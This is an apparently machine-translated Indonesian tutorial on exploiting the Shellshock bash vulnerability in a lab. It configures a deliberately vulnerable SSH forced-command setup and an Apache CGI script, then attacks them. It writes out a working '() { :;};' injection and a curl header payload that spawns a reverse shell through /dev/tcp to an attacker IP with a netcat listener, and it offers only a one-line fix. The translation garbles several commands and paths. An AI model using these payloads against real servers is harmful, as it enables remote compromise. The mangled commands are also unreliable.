SHELLSHOCK Eksploitasi B

chmood

Eksploitasi SHELLSHOCK Praktis - Part 2topik Covered

Latar Belakang


Prasyarat
Konfigurasi SSH server
Menambahkan pengguna baru
Membuat kunci berwenang untuk klien tertentu
Menambahkan kunci berwenang untuk server SSH
Login menggunakan kunci yang berwenang
mengeksploitasi
Konfigurasi server Apache untuk membuatnya rentan
mengeksploitasi
remediasi

Latar Belakang

Dalam artikel sebelumnya, kami melihat rincian internal kerentanan SHELLSHOCK. Pada artikel ini, kita akan melihat bagaimana untuk mengeksploitasi bug pesta di skenario berikut.

SSH mengeksploitasi
Server Apache mengeksploitasi

Namun sebelum melangkah lebih jauh, disarankan untuk pergi melalui bagian pertama dari seri ini.

Prasyarat

software yang dibutuhkan
VirtualBox

Download dan install VirtualBox dari www.virtualbox.org
Sebuah mesin rentan terhadap SHELLSHOCK - Korban

Saya menggunakan Kali Linux karena rentan terhadap bug bash.
Setiap mesin berbasis Unix / Linux - Penyerang

Akhirnya, kita perlu mesin untuk menyerang. Sebuah kotak Linux lebih disukai, karena saya akan menunjukkan semuanya menggunakan alat baris perintah. Dalam kasus saya, saya menggunakan mesin yang menjalankan Mac.

Menginstal kedua penyerang dan mesin korban di VirtualBox. Pastikan mereka dapat berkomunikasi dengan satu sama lain.


Gambar di atas menunjukkan set terakhir saya up. dari inet bisa seperti ini :)

Semakin gila: Biasanya, Kali Linux akan menjadi penyerang di hampir semua demo. Mari kita pergi gila dan membuat Kali rentan saat ini dan menyerang dengan menggunakan komputer lain (Mac dalam kasus saya).

Mengeksploitasi SHELLSHOCK pada SSH rentan
Agar kami manfaatkan untuk bekerja, berikut ini adalah persyaratan:
Jelas, shell bash rentan
Pengguna harus dikonfirmasi menggunakan 'authorization_keys'
Pengguna harus dibatasi untuk menjalankan beberapa perintah tertentu.
Nah, mari kita mulai menyiapkan semua di atas.

Konfigurasi SSH Server rentan

Pada bagian ini, kita akan melihat mengapa server SSH dapat rentan terhadap SHELLSHOCK. Kami akan mengkonfigurasi server SSH sengaja rentan. Sebagai bagian dari itu, kita akan melakukan langkah-langkah berikut.

Menambahkan akun pengguna baru di server (korban).
Membuat kunci otorisasi untuk klien (penyerang).
Menambahkan kunci otorisasi untuk file konfigurasi sshd.

Login menggunakan kunci otorisasi.

1. Menambahkan akun pengguna baru di server

Pertama jalankan Anda Kali Linux dan menambahkan akun pengguna baru dengan nama "SHELLSHOCK".

useradd -d / home / SHELLSHOCK -s / bin / bash SHELLSHOCK



Pada gambar di atas, kita telah menambahkan pengguna "SHELLSHOCK" baru.

"/ Home / SHELLSHOCK /" adalah direktori home.

"/ Bin / bash /" adalah path absolut ke shell.

Mari kita lihat di / etc / passwd untuk cross check pengguna dibuat menggunakan perintah berikut.

cat /etc/passwd | grep 'shellshock'



Sekarang membuat direktori baru seperti yang ditunjukkan di bawah ini.



Rekursif memberikan kepemilikan direktori di atas dibuat untuk pengguna "SHELLSHOCK". Hal ini ditunjukkan di bawah ini .




2. Membuat kunci otorisasi untuk klien

Ini adalah bagian yang menarik jika Anda belum pernah menggunakan SSH menggunakan kunci otorisasi.

Biasanya, kita menggunakan username dan password untuk login ke akun SSH. Dalam rangka untuk mengeksploitasi kerentanan pesta ini, pengguna harus dikonfirmasi menggunakan kunci otorisasi tanpa memerlukan memasukkan username dan password setiap kali klien terhubung ke server.

Pada bagian ini, kita akan melihat bagaimana untuk mengatur itu.
otentikasi kunci publik diketahui menjadi cara yang lebih aman dan kuat untuk terhubung ke server SSH jauh. SSH otentikasi kunci publik bergantung pada algoritma kriptografi asimetris (contoh: RSA) untuk menghasilkan sepasang kunci (kunci pribadi dan kunci publik).

Kunci pribadi biasanya disimpan pada mesin klien, yang digunakan untuk menghubungkan ke sistem remote.

Kunci publik dibagi dengan sistem remote dimana SSH server berjalan.

Langkah-langkah untuk menghasilkan kunci otorisasi:

Login ke mesin penyerang dan ketik perintah berikut di terminal.

$ ssh-keygen –t rsa
Perintah di atas adalah untuk menghasilkan publik / swasta RSA sepasang kunci.

Setelah kita tekan enter, ia akan meminta kita untuk memilih jalan untuk menyelamatkan kunci ini. Saya memukul masukkan tanpa memasukkan apa-apa, sehingga meninggalkan jalan default.



Sekarang, kita akan diminta untuk passphrase. Sejak, kita melakukannya untuk tujuan demo, saya meninggalkannya kosong. Jika kita tekan enter tanpa memasukkan password, kunci pribadi kita akan dihasilkan tanpa proteksi password.



Akhirnya, kita akan disambut dengan layar berikut.



Seperti yang kita lihat pada gambar di atas, kunci pribadi dan kunci publik telah dihasilkan.

Private key - /Users/srini0x00/.ssh/id_rsa
Public key - /Users/srini0x00/.ssh/id_rsa.pub

Kita bisa melihat isi dari kunci pribadi dan publik menggunakan perintah cat.

Gambar di bawah menunjukkan kunci publik.



Sekarang, saatnya untuk mengirim kunci publik ini ke server jauh.

teman teman 75n1 dapat melakukannya dengan cara apapun yang teman teman suka, hanya untuk menghemat waktu saya mengirimnya melalui SFTP.

Pertama, salin ke Desktop.



Mengirim kunci publik ke server jauh lebih SFTP.



3. Menambahkan kunci otorisasi untuk server SSH
Pertama, pastikan bahwa Anda telah menerima kunci publik Anda di server.

Hanya untuk cross check, saya menjalankan perintah berikut di terminal saya.

ls –l id_rsa.pub



Sekarang, membuat direktori baru "Ssh" di dalam "/ home / SHELLSHOCK" seperti yang ditunjukkan di bawah ini.



Tempatkan kunci publik dalam file /.ssh/authorized_keys. Kita dapat menulis isi id_rsa.pub untuk authorized_keys seperti yang ditunjukkan di bawah ini.

cat id_rsa.pub > ~/.ssh/authorized_keys



Akhirnya, membuka file sshd_config Anda untuk memastikan bahwa PublickeyAuthentication diaktifkan dan AuthorizedKeysFile ditentukan dengan benar.



Perintah di atas adalah untuk membuka file "sshd_config".

Seperti yang kita lihat pada gambar di bawah, semuanya sempurna.



Login dari klien
Kita sekarang dapat login ke server dari mesin klien seperti yang ditunjukkan di bawah ini dan kami tidak akan diminta untuk memasukkan sandi.



Ini pada dasarnya adalah apa yang dikenal sebagai SSH otentikasi kunci publik.
Pengguna sekarang bahkan bisa lewat perintah untuk server SSH sebagai argumen.
Mari kita periksa bagaimana melihat 'date' sebagai argumen.



Apa yang membuatnya rentan?

Di atas otentikasi kunci publik mungkin rentan jika dikonfigurasi untuk membatasi standar set perintah untuk pengguna.

Hal ini dapat dicapai dengan menggunakan opsi perintah.

Saya akan menggunakan ' perintah ' di file 'authorized_keys' untuk menjalankan script khusus.

Untuk tujuan demo, saya akan menggunakan script bernama script.sh sangat sederhana, yang ditunjukkan di bawah ini.



Script di atas hanya menunjukkan pesan jika pengguna melewati "tanggal" perintah sebagai argumen. Jika hal lain dilewatkan, hal itu akan dijalankan.

Memberikan izin dieksekusi menggunakan perintah berikut.
chmod +x script.sh



Sekarang, tambahkan path dari script ini untuk "authorized_keys" file. Hal ini ditunjukkan di bawah ini.



Sekarang, coba melewati "tanggal" sebagai argumen baris perintah seperti yang ditunjukkan di bawah ini.
$ ssh <a href="mailto:[email protected]">[email protected]</a> date

Ini akan membuang pesan sederhana seperti yang ditunjukkan di bawah.



Setiap kali pengguna mencoba untuk terhubung ke server melalui SSH, argumen pengguna disediakan akan disimpan di SSH_ORIGNAL_COMMAND.

'Script.sh' yang ditentukan dalam file 'authorized_keys' pertama akan dijalankan sebelum perintah pengguna dieksekusi. Hal ini memberikan kontrol yang lebih besar masukan pengguna.

Mengeksploitasi

Sekarang, mari kita gunakan SHELLSHOCK klasik kami mengeksploitasi kita pelajari dalam artikel sebelumnya. Saya hanya menambahkan baris berikut ke baris yang sebenarnya digunakan untuk koneksi biasa:

'() { :;}; date'



Seperti yang kita lihat pada gambar di atas, kita mendapatkan output dari perintah 'date' meskipun itu tidak seharusnya dieksekusi.

Berbeda dengan kasus sebelumnya, di mana 'date' diblokir oleh script.sh ditentukan dalam file authorized_keys, kali ini perintah sewenang-wenang kami sendiri menjadi perintah pertama dan karenanya kita mendapatkan tanggal dicetak.

Mengeksploitasi HTTP / S Server

Kita dapat menggunakan kerentanan SHELLSHOCK untuk kompromi cgi server berjalan atau script lain yang memicu shell bash dengan variabel lingkungan, yang dapat dikendalikan oleh penyerang .

Sekarang, mari kita lihat bagaimana mengkonfigurasi dan mengeksploitasi server apache.

Mengkonfigurasi server Apache

Buka terminal di Anda Kali Linux dan ketik perintah berikut untuk memulai server Apache HTTP.



Arahkan ke / usr / lib / cgi-bin / direktori dan membuat script shell yang baru seperti yang ditunjukkan pada gambar di bawah.



Mari kita periksa apakah kita bisa mengakses file ini dari jarak jauh.

Saya menggunakan tool baris perintah yang populer disebut curl untuk mengirim permintaan ke server remote host di Kali Linux seperti yang ditunjukkan di bawah ini.

curl http://192.168.1.104/cgi-bin/vulnerable.sh



Seperti yang kita lihat pada gambar di atas, kita mendapatkan respon yang diharapkan - "pesta contoh".

Sekarang, mari kita menggunakan bendera 'v' untuk melihat informasi yang dikirim dan diterima selama komunikasi antara klien dan server.

curl –v http://192.168.1.104/cgi-bin/vulnerable.sh



Mengeksploitasi

Seperti yang kita lihat, kita berusaha untuk memukul 'vulnerable.sh' file di server.

Biasanya, ketika sebuah proses induk hits shell bash, melewati semua parameter header untuk proses anak dalam bentuk variabel lingkungan.

Kita dapat memanfaatkan fungsi ini untuk memodifikasi dan menyusun permohonan berbahaya untuk mendapatkan reverse shell pada remote server rentan.

Jadi, mari kita kembali menggunakan curl untuk mengirim permintaan dengan header dirusak.

Tapi sebelum ini, mulai terminal baru pada mesin penyerang dan menggunakan Netcat untuk mendengarkan koneksi masuk karena kami akan mengeksekusi muatan yang memberikan reverse shell

Gambar berikut ini menunjukkan Netcat melihat pada port 4444.



Sekarang, mengirim permintaan berbahaya menggunakan curl seperti yang ditunjukkan di bawah ini.

curl –H 'x: () { :;}; /bin/bash –I >& /dev/tcp/192.168.1.102 0>&1' http://192.168.1.104/cgi-bin/vulnerable.sh



Jika Anda ingin memahami bagaimana permintaan akan server dalam kasus ini, menggunakan saklar 'v'.

Sekarang, jika kita kembali ke terminal di mana kita mulai Netcat, kita harus melihat shell koneksi terbalik melahirkan seperti yang ditunjukkan di bawah ini.



Recomendasi


Cara termudah untuk memperbaiki SHELLSHOCK adalah untuk memperbarui shell bash Anda seperti yang disarankan oleh vendor.

Komentar